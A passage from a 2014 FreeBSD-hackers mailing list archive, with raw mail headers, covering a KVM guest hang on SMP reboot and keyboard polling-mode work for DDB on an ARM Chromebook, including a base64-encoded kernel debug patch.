invoking ec_command immediately and comparing returned state to previous one rather than reading status bit from GPIO pin. I keep getting "fdb0: i2c transfer returned 6" and none of the printfs I've added to iicbus_transfer_gen in sys/dev/iicbus/iiconf.c. -- Best regards, Maxim From owner-freebsd-hackers@FreeBSD.ORG Tue May 13 15:50:06 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 55FA6A05; Tue, 13 May 2014 15:50:06 +0000 (UTC) Received: from secure.freebsdsolutions.net (secure.freebsdsolutions.net [69.55.234.48]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 35228235B; Tue, 13 May 2014 15:50:05 +0000 (UTC) Received: from [10.10.1.198] (office.betterlinux.com [199.58.199.60]) (authenticated bits=0) by secure.freebsdsolutions.net (8.14.4/8.14.4) with ESMTP id s4DFnvs1019554 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=NOT); Tue, 13 May 2014 11:49:57 -0400 (EDT) (envelope-from lists@jnielsen.net) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: consistent VM hang during reboot From: John Nielsen In-Reply-To: <2CCD4068-A9CB-442C-BB91-ADBF62FF22C6@jnielsen.net> Date: Tue, 13 May 2014 09:50:00 -0600 Content-Transfer-Encoding: quoted-printable Message-Id: <83DA2398-0004-49EC-8AC1-9AA64F33A194@jnielsen.net> References: <201405081303.17079.jhb@freebsd.org> <2CCD4068-A9CB-442C-BB91-ADBF62FF22C6@jnielsen.net> To: "freebsd-hackers@freebsd.org" , "freebsd-virtualization@freebsd.org" X-Mailer: Apple Mail (2.1874) X-DCC--Metrics: ns1.jnielsen.net 1282; Body=2 Fuz1=2 Fuz2=2 X-Virus-Scanned: clamav-milter 0.97.8 at ns1.jnielsen.net X-Virus-Status: Clean X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 May 2014 15:50:06 -0000 On May 9, 2014, at 12:41 PM, John Nielsen wrote: > On May 8, 2014, at 12:42 PM, Andrew Duane wrote: >=20 >> From: owner-freebsd-hackers@freebsd.org = [mailto:owner-freebsd-hackers@freebsd.org] On Behalf Of John Nielsen >>=20 >>> On May 8, 2014, at 11:03 AM, John Baldwin wrote: >>>=20 >>>> On Wednesday, May 07, 2014 7:15:43 pm John Nielsen wrote: >>>>> I am trying to solve a problem with amd64 FreeBSD virtual machines = running on a Linux+KVM hypervisor. To be honest I'm not sure if the = problem is in FreeBSD or=20 >>>> the hypervisor, but I'm trying to rule out the OS first. >>>>>=20 >>>>> The _second_ time FreeBSD boots in a virtual machine with more = than one core, the boot hangs just before the kernel would normally = print e.g. "SMP: AP CPU #1=20 >>>> Launched!" (The last line on the console is "usbus0: 12Mbps Full = Speed USB v1.0", but the problem persists even without USB). The VM will = boot fine a first time,=20 >>>> but running either "shutdown -r now" OR "reboot" will lead to a = hung second boot. Stopping and starting the host qemu-kvm process is the = only way to continue. >>>>>=20 >>>>> The problem seems to be triggered by something in the SMP portion = of cpu_reset() (from sys/amd64/amd64/vm_machdep.c). If I hit the virtual = "reset" button the next=20 >>>> boot is fine. If I have 'kern.smp.disabled=3D"1"' set for the = initial boot then subsequent boots are fine (but I can only use one CPU = core, of course). However, if I=20 >>>> boot normally the first time then set 'kern.smp.disabled=3D"1"' for = the second (re)boot, the problem is triggered. Apparently something in = the shutdown code is=20 >>>> "poisoning the well" for the next boot. >>>>>=20 >>>>> The problem is present in FreeBSD 8.4, 9.2, 10.0 and 11-CURRENT as = of yesterday. >>>>>=20 >>>>> This (heavy-handed and wrong) patch (to HEAD) lets me avoid the = issue: >>>>>=20 >>>>> --- sys/amd64/amd64/vm_machdep.c.orig 2014-05-07 = 13:19:07.400981580 -0600 >>>>> +++ sys/amd64/amd64/vm_machdep.c 2014-05-07 17:02:52.416783795 = -0600 >>>>> @@ -593,7 +593,7 @@ >>>>> void >>>>> cpu_reset() >>>>> { >>>>> -#ifdef SMP >>>>> +#if 0 >>>>> cpuset_t map; >>>>> u_int cnt; >>>>>=20 >>>>> I've tried skipping or disabling smaller chunks of code within the = #if block but haven't found a consistent winner yet. >>>>>=20 >>>>> I'm hoping the list will have suggestions on how I can further = narrow down the problem, or theories on what might be going on. >>>>=20 >>>> Can you try forcing the reboot to occur on the BSP (via 'cpuset -l = 0 reboot') >>>> or a non-BSP ('cpuset -l 1 reboot') to see if that has any effect? = It might >>>> not, but if it does it would help narrow down the code to consider. >>>=20 >>> Hello jhb, thanks for responding. >>>=20 >>> I tried your suggestion but unfortunately it does not make any = difference. The reboot hangs regardless of which CPU I assign the = command to. >>>=20 >>> Any other suggestions? >>=20 >> When I was doing some early work on some of the Octeon multi-core = chips, I encountered something similar. If I remember correctly, there = was an issue in the shutdown sequence that did not properly halt the = cores and set up the "start jump" vector. So the first core would start, = and when it tried to start the next ones it would hang waiting for the = ACK that they were running (since they didn't have a start vector and = hence never started). I know MIPS, not AMD, so I can't say what the = equivalent would be, but I'm sure there is one. Check that part, setting = up the early state. >>=20 >> If Juli and/or Adrian are reading this: do you remember anything = about that, something like 2 years ago? >=20 > That does sound promising, would love more details if anyone can = provide them. >=20 > Here's another wrinkle: >=20 > The KVM machine in question is part of a cluster of identical servers = (hardware, OS, software revisions). The problem is present on all = servers in the cluster. >=20 > I also have access to a second homogenous cluster. The OS and software = revisions on this cluster are identical to the first. The hardware is = _nearly_ identical--slightly different mainboards from the same = manufacturer and slightly older CPUs. The same VMs (identical disk image = and definition, including CPU flags passed to the guest) that have a = problem on the first cluster work flawlessly on this one. >=20 > Not sure if that means the bad behavior only appears on certain CPUs = or if it's timing-related or something else entirely. I'd welcome = speculation at this point. >=20 > CPU details below in case it makes a difference. >=20 > =3D=3D Problem Host =3D=3D > model name : Intel(R) Xeon(R) CPU E5-2650 v2 @ 2.60GHz > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge = mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe = syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good = nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 = monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 = sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx f16c rdrand = lahf_lm ida arat epb xsaveopt pln pts dtherm tpr_shadow vnmi = flexpriority ept vpid fsgsbase smep erms >=20 > =3D=3D Good Host =3D=3D > model name : Intel(R) Xeon(R) CPU E5-2650 0 @ 2.00GHz > flags : fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge = mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe = syscall nx pdpe1gb rdtscp lm constant_tsc arch_perfmon pebs bts rep_good = nopl xtopology nonstop_tsc aperfmperf eagerfpu pni pclmulqdq dtes64 = monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid dca sse4_1 = sse4_2 x2apic popcnt tsc_deadline_timer aes xsave avx lahf_lm ida arat = epb xsaveopt pln pts dtherm tpr_shadow vnmi flexpriority ept vpid Still haven't found a solution but I did learn something else = interesting: an ACPI reboot allows the system to come back up = successfully. What is different from the system or CPU point of view = about an ACPI reboot versus running "reboot" or "shutdown" from = userland? JN From owner-freebsd-hackers@FreeBSD.ORG Tue May 13 21:26:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2625138B for ; Tue, 13 May 2014 21:26:36 +0000 (UTC) Received: from mail-we0-x231.google.com (mail-we0-x231.google.com [IPv6:2a00:1450:400c:c03::231]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id AA6AF2053 for ; Tue, 13 May 2014 21:26:35 +0000 (UTC) Received: by mail-we0-f177.google.com with SMTP id x48so1002388wes.22 for ; Tue, 13 May 2014 14:26:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=Yv6Ns99Av15M4IzsHDNPJLZm0McnAowNVb3oCrFSyr4=; b=nFTSl6ZGd2HP4PTlRia4Cdfw1KlI1dDMRAbSbVRQpuPl9iJY1Ke7iPhzNzgisXSwZz C+/ppcC9+qU/od1TUW8npYAU4bWT0z44bUU2Bis/vs/WSCC6kvFMGH2jH7D32IeC1e6U rUG7yefDH/Ol4mIRaNSiEawU4f77uRBYDeNq4ceieYXHM5eHN0xJiH57jH14vFbTQ41K vq9xm0WE+uQ9boWgkECFdior0OgqrqzryOpJFxiw/lTOIEQtINvhFz1sb9/KnFoblZhL /0MPITr+i6cCn2kUjrqYvyVo9Bjb+i4TLjPqW4u6w/tvyJ4HuWBBUAqSh+WqqurqAikX bnJQ== X-Received: by 10.180.109.69 with SMTP id hq5mr277042wib.30.1400016393745; Tue, 13 May 2014 14:26:33 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.163.231 with HTTP; Tue, 13 May 2014 14:26:12 -0700 (PDT) In-Reply-To: References: <20140513084008.GA71115@machdep.com> From: Maxim Ignatenko Date: Tue, 13 May 2014 22:26:12 +0100 Message-ID: Subject: Re: Keyboard drivers, polling vs. non-polling mode To: Ruslan Bukin Content-Type: multipart/mixed; boundary=e89a8f3baa07d546e204f94eb7eb Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.18 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 13 May 2014 21:26:36 -0000 --e89a8f3baa07d546e204f94eb7eb Content-Type: text/plain; charset=UTF-8 On 13 May 2014 11:17, Maxim Ignatenko wrote: > On 13 May 2014 09:40, Ruslan Bukin wrote: >> On Sun, May 11, 2014 at 11:33:42PM +0100, Maxim Ignatenko wrote: >>> Hello, >>> >>> I'm trying trying to get keyboard working in DDB on HP Chromebook 11 (ARM). >>> br@ said that it doesn't work there because polling mode is not implemented yet. >>> Where can I read about the difference between polling and non-polling >>> modes (and about keyboard drivers in general)? >>> sys/dev/kbd/kbdreg.h describes some structures and method signatures, >>> but I have no clue what is the expected behaviour of those methods. >>> >>> My current guess is that in polling mode keyboard driver just queues >>> up all the input coming from keyboard and then gives it to consumer >>> upon request, while in non-polling mode it invokes some callback >>> instead of queueing. But I cannot find any documentation to confirm or >>> disprove that. >>> >> >> Chrome Embedded Controller (EC) provides interrupt (KB_GPIO_INT pin, active low) >> reporting that there are pending data and you need to read the data using >> ec_command(..). After all data was read, pin comes to 1 (not active). >> >> We have no interrupts in KDB, so you have to check pin status manually and >> if status == 0 (active) then read new data. >> >> Probably you can start with patch attached (I did't tested). > > Thanks, I've tried something like that, except with invoking > ec_command immediately and comparing returned state to previous one > rather than reading status bit from GPIO pin. > I keep getting "fdb0: i2c transfer returned 6" and none of the printfs > I've added to iicbus_transfer_gen in sys/dev/iicbus/iiconf.c. Here's what I have now. After booting kernel from flash drive I get kdb prompt (because of panic() call in exynos5_ehci.c) and when I press any key - screen gets spammed with "fdb0: i2c transfer returned 6". printfs added to dev/iicbus/*.c are not triggered. Any ideas? -- Best regards, Maxim --e89a8f3baa07d546e204f94eb7eb Content-Type: text/plain; charset=US-ASCII; name="chromebook.diff" Content-Disposition: attachment; filename="chromebook.diff" Content-Transfer-Encoding: base64 X-Attachment-Id: f_hv5pajnb0 SW5kZXg6IGFybS9zYW1zdW5nL2V4eW5vcy9jaHJvbWVfa2IuYwo9PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Ci0tLSBhcm0v c2Ftc3VuZy9leHlub3MvY2hyb21lX2tiLmMJKHJldmlzaW9uIDI2NTkxNSkKKysrIGFybS9zYW1z dW5nL2V4eW5vcy9jaHJvbWVfa2IuYwkod29ya2luZyBjb3B5KQpAQCAtMTMxLDYgKzEzMSw3IEBA CiAJaW50CQkJcm93czsKIAlpbnQJCQljb2xzOwogCWRldmljZV90CQlkZXY7CisJZGV2aWNlX3QJ CWdwaW9fZGV2OwogCXN0cnVjdCB0aHJlYWQJCSpzY19wb2xsX3RocmVhZDsKIAogCXVpbnQ4X3QJ CQkqc2Nhbl9sb2NhbDsKQEAgLTMzMSw2ICszMzIsNyBAQAogCXVpbnQxNl90IGtleTsKIAlpbnQg b2xkYml0OwogCWludCBuZXdiaXQ7CisJaW50IHN0YXR1czsKIAogCXNjID0ga2JkLT5rYl9kYXRh OwogCkBAIC0zNDcsNyArMzQ5LDIwIEBACiAJfTsKIAogCWlmIChzYy0+c2NfZmxhZ3MgJiBDS0Jf RkxBR19QT0xMSU5HKSB7Ci0JCS8qIFRPRE8gKi8KKwkJZm9yICg7OykgeworCQkJR1BJT19QSU5f R0VUKHNjLT5ncGlvX2RldiwgS0JfR1BJT19JTlQsICZzdGF0dXMpOworCQkJaWYgKHN0YXR1cyA9 PSAwKSB7CisJCQkJaWYgKGVjX2NvbW1hbmQoRUNfQ01EX01LQlBfU1RBVEUsIHNjLT5zY2FuLCBz Yy0+Y29scywKKwkJCQkgICAgc2MtPnNjYW4sIHNjLT5jb2xzKSkgeworCQkJCQlyZXR1cm4gKE5P S0VZKTsKKwkJCQl9CisJCQkJYnJlYWs7CisJCQl9CisJCQlpZiAoIXdhaXQpIHsKKwkJCQlyZXR1 cm4gKE5PS0VZKTsKKwkJCX0KKwkJCURFTEFZKDEwMDApOworCQl9CiAJfTsKIAogCWZvciAoaSA9 IDA7IGkgPCBzYy0+Y29sczsgaSsrKSB7CkBAIC03MTAsNyArNzI1LDEyIEBACiAJaWYgKChlcnJv ciA9IHBhcnNlX2R0cyhzYykpICE9IDApCiAJCXJldHVybiBlcnJvcjsKIAotI2lmIDAKKwlzYy0+ Z3Bpb19kZXYgPSBkZXZjbGFzc19nZXRfZGV2aWNlKGRldmNsYXNzX2ZpbmQoImdwaW8iKSwgMCk7 CisJaWYgKHNjLT5ncGlvX2RldiA9PSBOVUxMKSB7CisJCWRldmljZV9wcmludGYoc2MtPmRldiwg ImNhbnQgZmluZCBncGlvX2RldlxuIik7CisJCXJldHVybiAoMSk7CisJfQorI2lmIDEKIAlkZXZp Y2VfcHJpbnRmKHNjLT5kZXYsICJLZXlib2FyZCBtYXRyaXggWyVkeCVkXVxuIiwKIAkgICAgc2Mt PmNvbHMsIHNjLT5yb3dzKTsKICNlbmRpZgpJbmRleDogYXJtL3NhbXN1bmcvZXh5bm9zL2V4eW5v czVfZWhjaS5jCj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KLS0tIGFybS9zYW1zdW5nL2V4eW5vcy9leHlub3M1X2VoY2ku YwkocmV2aXNpb24gMjY1OTE1KQorKysgYXJtL3NhbXN1bmcvZXh5bm9zL2V4eW5vczVfZWhjaS5j CSh3b3JraW5nIGNvcHkpCkBAIC02Myw2ICs2Myw3IEBACiAjZGVmaW5lCUdQSU9fT1VUUFVUCTEK ICNkZWZpbmUJR1BJT19JTlBVVAkwCiAjZGVmaW5lCVBJTl9VU0IJCTE2MQorI2RlZmluZSBQSU5f UkVTRVRfSFVCICAgMTgxCiAKIC8qIFBXUiBjb250cm9sICovCiAjZGVmaW5lCUVYWU5PUzVfUFdS X1VTQkhPU1RfUEhZCQkweDcwOApAQCAtMTc5LDExICsxODEsMjMgQEAKIAlyZXR1cm4gKDApOwog fQogCitzdGF0aWMgdm9pZAorZG9fcGFuaWModm9pZCAqdW51c2VkKSB7CisJcGFuaWMoInBhbmlx IHJlcXVlc3RlZCIpOworfQorCiBzdGF0aWMgaW50CiBwaHlfaW5pdChzdHJ1Y3QgZXh5bm9zX2Vo Y2lfc29mdGMgKmVzYykKIHsKIAlpbnQgcmVnOworCWRldmljZV90IGdwaW9fZGV2OwogCisJLyog R2V0IHRoZSBHUElPIGRldmljZSwgd2UgbmVlZCB0aGlzIHRvIGdpdmUgcG93ZXIgdG8gVVNCICov CisJZ3Bpb19kZXYgPSBkZXZjbGFzc19nZXRfZGV2aWNlKGRldmNsYXNzX2ZpbmQoImdwaW8iKSwg MCk7CisJaWYgKGdwaW9fZGV2ID09IE5VTEwpIHsKKwkJZGV2aWNlX3ByaW50Zihlc2MtPmRldiwg ImNhbnQgZmluZCBncGlvX2RldlxuIik7CisJCXJldHVybiAoMSk7CisJfQogCWdwaW9fY3RybChl c2MsIEdQSU9fSU5QVVQsIDEpOwogCiAJLyogc2V0IFVTQiBIT1NUIG1vZGUgKi8KQEAgLTIwMCwy MCArMjE0LDQ1IEBACiAJICAgIEhPU1RfQ1RSTF9SRVNFVF9QSFlfQUxMIHwKIAkgICAgSE9TVF9D VFJMX1NJRERRIHwKIAkgICAgSE9TVF9DVFJMX1NVU1BFTkQgfAotCSAgICBIT1NUX0NUUkxfU0xF RVApOworCSAgICBIT1NUX0NUUkxfU0xFRVAgfCAoMTw8OSkpOwogCiAJcmVnIHw9IChIT1NUX0NU UkxfQ0xLXzI0TUhaIHwKLQkgICAgSE9TVF9DVFJMX1JFU0VUX0xJTkspOworCSAgICBIT1NUX0NU UkxfUkVTRVRfTElOSyB8IDB4MDQpOwogCWJ1c19zcGFjZV93cml0ZV80KGVzYy0+aG9zdF9ic3Qs IGVzYy0+aG9zdF9ic2gsIDB4MCwgcmVnKTsKIAogCURFTEFZKDEwKTsKIAogCXJlZyA9IGJ1c19z cGFjZV9yZWFkXzQoZXNjLT5ob3N0X2JzdCwgZXNjLT5ob3N0X2JzaCwgMHgwKTsKLQlyZWcgJj0g fihIT1NUX0NUUkxfUkVTRVRfTElOSyk7CisJcmVnICY9IH4oSE9TVF9DVFJMX1JFU0VUX0xJTksg fCAweDA0KTsKIAlidXNfc3BhY2Vfd3JpdGVfNChlc2MtPmhvc3RfYnN0LCBlc2MtPmhvc3RfYnNo LCAweDAsIHJlZyk7CiAKKwlERUxBWSgyMCk7CisJcmVnID0gYnVzX3NwYWNlX3JlYWRfNChlc2Mt Pmhvc3RfYnN0LCBlc2MtPmhvc3RfYnNoLCAweDMwKTsKKwlyZWcgfD0gKDE8PDI5KSB8ICgxPDwy OCkgfCAoMTw8MjcpIHwgKDE8PDI2KTsKKwlidXNfc3BhY2Vfd3JpdGVfNChlc2MtPmhvc3RfYnN0 LCBlc2MtPmhvc3RfYnNoLCAweDMwLCByZWcpOworCisJaWYgKDEpIHsKKwkJR1BJT19QSU5fU0VU RkxBR1MoZ3Bpb19kZXYsIFBJTl9SRVNFVF9IVUIsIEdQSU9fUElOX09VVFBVVCk7CisJCUdQSU9f UElOX1NFVChncGlvX2RldiwgUElOX1JFU0VUX0hVQiwgR1BJT19QSU5fTE9XKTsKKwkJREVMQVko MTAwKTsKKwkJR1BJT19QSU5fU0VUKGdwaW9fZGV2LCBQSU5fUkVTRVRfSFVCLCBHUElPX1BJTl9I SUdIKTsKKwkJREVMQVkoNTAwMCk7CisKKwkJcmVnID0gYnVzX3NwYWNlX3JlYWRfNChlc2MtPmhv c3RfYnN0LCBlc2MtPmhvc3RfYnNoLCAweDEwKTsKKwkJcmVnICY9IH4oSE9TVF9DVFJMX1NJRERR IHwgSE9TVF9DVFJMX1NVU1BFTkQgfCBIT1NUX0NUUkxfU0xFRVApOworCQlyZWcgfD0gSE9TVF9D VFJMX1JFU0VUX1BIWTsKKwkJYnVzX3NwYWNlX3dyaXRlXzQoZXNjLT5ob3N0X2JzdCwgZXNjLT5o b3N0X2JzaCwgMHgxMCwgcmVnKTsKKwkJREVMQVkoMTApOworCQlyZWcgPSBidXNfc3BhY2VfcmVh ZF80KGVzYy0+aG9zdF9ic3QsIGVzYy0+aG9zdF9ic2gsIDB4MTApOworCQlyZWcgJj0gfkhPU1Rf Q1RSTF9SRVNFVF9QSFk7CisJCWJ1c19zcGFjZV93cml0ZV80KGVzYy0+aG9zdF9ic3QsIGVzYy0+ aG9zdF9ic2gsIDB4MTAsIHJlZyk7CisJfQorCURFTEFZKDUwMDAwKTsKKwogCWdwaW9fY3RybChl c2MsIEdQSU9fT1VUUFVULCAxKTsKIAorCXRpbWVvdXQoZG9fcGFuaWMsIE5VTEwsIDEwKTsKKwog CXJldHVybiAoMCk7CiB9CiAKSW5kZXg6IGFybS9zYW1zdW5nL2V4eW5vcy9leHlub3M1X2kyYy5j Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT0KLS0tIGFybS9zYW1zdW5nL2V4eW5vcy9leHlub3M1X2kyYy5jCShyZXZpc2lv biAyNjU5MTUpCisrKyBhcm0vc2Ftc3VuZy9leHlub3MvZXh5bm9zNV9pMmMuYwkod29ya2luZyBj b3B5KQpAQCAtOTMsNyArOTMsNyBAQAogI2RlZmluZQkgU0RBT1VUX0RFTEFZX00JMHgzCQkvKiBT REEgTGluZSBEZWxheSBMZW5ndGggKi8KICNkZWZpbmUJIFNEQU9VVF9ERUxBWV9TCTAKIAotI2lm ZGVmIERFQlVHCisjaWYgMQogI2RlZmluZSBEUFJJTlRGKGZtdCwgYXJncy4uLikgXAogCXByaW50 ZihmbXQsICMjYXJncykKICNlbHNlCkluZGV4OiBkZXYvaWljYnVzL2lpY2JiLmMKPT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PQotLS0gZGV2L2lpY2J1cy9paWNiYi5jCShyZXZpc2lvbiAyNjU5MTUpCisrKyBkZXYvaWljYnVz L2lpY2JiLmMJKHdvcmtpbmcgY29weSkKQEAgLTQ1NiwxMCArNDU2LDE1IEBACiAJaW50IGVycm9y OwogCiAJZXJyb3IgPSBJSUNCQl9QUkVfWEZFUihkZXZpY2VfZ2V0X3BhcmVudChkZXYpKTsKLQlp ZiAoZXJyb3IpCisJaWYgKGVycm9yKSB7CisJCXByaW50ZigiSUlDQkJfUFJFX1hGRVIoZGV2aWNl X2dldF9wYXJlbnQoZGV2KSkgcmV0dXJuZWQgJWRcbiIsIGVycm9yKTsKIAkJcmV0dXJuIChlcnJv cik7CisJfQogCiAJZXJyb3IgPSBpaWNidXNfdHJhbnNmZXJfZ2VuKGRldiwgbXNncywgbm1zZ3Mp OworCWlmIChlcnJvcikgeworCQlwcmludGYoImlpY2J1c190cmFuc2Zlcl9nZW4gcmV0dXJuZWQg JWRcbiIsIGVycm9yKTsKKwl9CiAKIAlJSUNCQl9QT1NUX1hGRVIoZGV2aWNlX2dldF9wYXJlbnQo ZGV2KSk7CiAJcmV0dXJuIChlcnJvcik7CkluZGV4OiBkZXYvaWljYnVzL2lpY29uZi5jCj09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT0KLS0tIGRldi9paWNidXMvaWljb25mLmMJKHJldmlzaW9uIDI2NTkxNSkKKysrIGRldi9p aWNidXMvaWljb25mLmMJKHdvcmtpbmcgY29weSkKQEAgLTM2Niw4ICszNjYsMTEgQEAKIAlpbnQg aSwgZXJyb3IsIGxlbnJlYWQsIGxlbndyb3RlLCBua2lkLCBycHN0YXJ0LCBhZGRyOwogCWRldmlj ZV90ICpjaGlsZHJlbiwgYnVzOwogCi0JaWYgKChlcnJvciA9IGRldmljZV9nZXRfY2hpbGRyZW4o ZGV2LCAmY2hpbGRyZW4sICZua2lkKSkgIT0gMCkKKwlkZXZpY2VfcHJpbnRmKGRldiwgImlpY2J1 c190cmFuc2Zlcl9nZW4gY2FsbGVkXG4iKTsKKwlpZiAoKGVycm9yID0gZGV2aWNlX2dldF9jaGls ZHJlbihkZXYsICZjaGlsZHJlbiwgJm5raWQpKSAhPSAwKSB7CisJCXByaW50ZigiZGV2aWNlX2dl dF9jaGlsZHJlbiByZXR1cm5lZCAlZFxuIiwgZXJyb3IpOwogCQlyZXR1cm4gKGVycm9yKTsKKwl9 CiAJaWYgKG5raWQgIT0gMSkgewogCQlmcmVlKGNoaWxkcmVuLCBNX1RFTVApOwogCQlyZXR1cm4g KEVJTyk7CkBAIC0zODMsMjEgKzM4NiwyNyBAQAogCQkJYWRkciAmPSB+TFNCOwogCiAJCWlmICgh KG1zZ3NbaV0uZmxhZ3MgJiBJSUNfTV9OT1NUQVJUKSkgewotCQkJaWYgKHJwc3RhcnQpCisJCQlp ZiAocnBzdGFydCkgewogCQkJCWVycm9yID0gaWljYnVzX3JlcGVhdGVkX3N0YXJ0KGJ1cywgYWRk ciwgMCk7Ci0JCQllbHNlCisJCQkJaWYgKGVycm9yKSB7IHByaW50ZigiaWljYnVzX3JlcGVhdGVk X3N0YXJ0IHJldHVybmVkICVkXG4iLCBlcnJvcik7IH0KKwkJCX0gZWxzZSB7CiAJCQkJZXJyb3Ig PSBpaWNidXNfc3RhcnQoYnVzLCBhZGRyLCAwKTsKKwkJCQlpZiAoZXJyb3IpIHsgcHJpbnRmKCJp aWNidXNfc3RhcnQgcmV0dXJuZWQgJWRcbiIsIGVycm9yKTsgfQorCQkJfQogCQl9CiAKIAkJaWYg KGVycm9yKQogCQkJYnJlYWs7CiAKLQkJaWYgKG1zZ3NbaV0uZmxhZ3MgJiBJSUNfTV9SRCkKKwkJ aWYgKG1zZ3NbaV0uZmxhZ3MgJiBJSUNfTV9SRCkgewogCQkJZXJyb3IgPSBpaWNidXNfcmVhZChi dXMsIG1zZ3NbaV0uYnVmLCBtc2dzW2ldLmxlbiwKIAkJCSAgICAmbGVucmVhZCwgSUlDX0xBU1Rf UkVBRCwgMCk7Ci0JCWVsc2UKKwkJCWlmIChlcnJvcikgeyBwcmludGYoImlpY2J1c19yZWFkIHJl dHVybmVkICVkXG4iLCBlcnJvcik7IH0KKwkJfSBlbHNlIHsKIAkJCWVycm9yID0gaWljYnVzX3dy aXRlKGJ1cywgbXNnc1tpXS5idWYsIG1zZ3NbaV0ubGVuLAogCQkJICAgICZsZW53cm90ZSwgMCk7 CisJCQlpZiAoZXJyb3IpIHsgcHJpbnRmKCJpaWNidXNfd3JpdGUgcmV0dXJuZWQgJWRcbiIsIGVy cm9yKTsgfQorCQl9CiAKIAkJaWYgKCEobXNnc1tpXS5mbGFncyAmIElJQ19NX05PU1RPUCkpIHsK IAkJCXJwc3RhcnQgPSAwOwpAQCAtNDA2LDUgKzQxNSw2IEBACiAJCQlycHN0YXJ0ID0gMTsJLyog TmV4dCBtZXNzYWdlIGdldHMgcmVwZWF0ZWQgc3RhcnQgKi8KIAkJfQogCX0KKwlpZiAoZXJyb3Ip IHtwcmludGYoImlpY2J1c190cmFuc2Zlcl9nZW4gcmV0dXJucyAlZFxuIiwgZXJyb3IpO30KIAly ZXR1cm4gKGVycm9yKTsKIH0KCg== --e89a8f3baa07d546e204f94eb7eb-- From owner-freebsd-hackers@FreeBSD.ORG Tue May 13 22:04:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 681FA281 for ; Tue, 13 May 2014 22:04:23 +0000 (UTC) Received: from mail-we0-x235.google.com (mail-we0-x235.google.com [IPv6:2a00:1450:400c:c03::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 036FC23B9 for ; Tue, 13 May 2014 22:04:22 +0000 (UTC) Received: by mail-we0-f181.google.com with SMTP id w61so1070675wes.12 for ; Tue, 13 May 2014 15:04:21 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :cc:content-type; bh=c4Q++OERQWVnBSvo9H54ff0vc/PKoTfGbOfAbLAOLY8=; b=AshuE6OaPbqfHtHAebPjHcaQCuk/ZqrheR2I6ghLuVqz4gFJXAGz3HhUXEO3+W20FZ dV1eAS9BSKye2TRPzquh3e6ZYuY9yqOFr0LdJtMKacsctA1VFwexvrUn/J3mhbEqUucW PIKVD2A93Uq2KojEvGj0uzizfwGkr3xH+1QQag+02e4CiT60Ab7Su1ND3dXNSIM2mvNe 2jHc04KIlH/+PeTL34quvJCIeWt0qWKEvLvDKbT57fqQIWexJLoqROLN+L0uYdSRd63C U6cJ79WzriQHtTA/udwuW3pW2XWBQZVoosZVawwUPhM8mnQV5OEHZvA25kHIciO1ghSR edBQ== X-Received: by 10.180.74.78 with SMTP id r14mr441370wiv.2.1400018661288; Tue, 13 May 2014 15:04:21 -0700 (PDT) MIME-Version: 1.0 Received: by 10.194.163.231 with HTTP; Tue, 13 May 2014 15:04:01 -0700 (PDT) In-Reply-To: References: <20140513084008.GA71115@machdep.com> From: Maxim Ignatenko 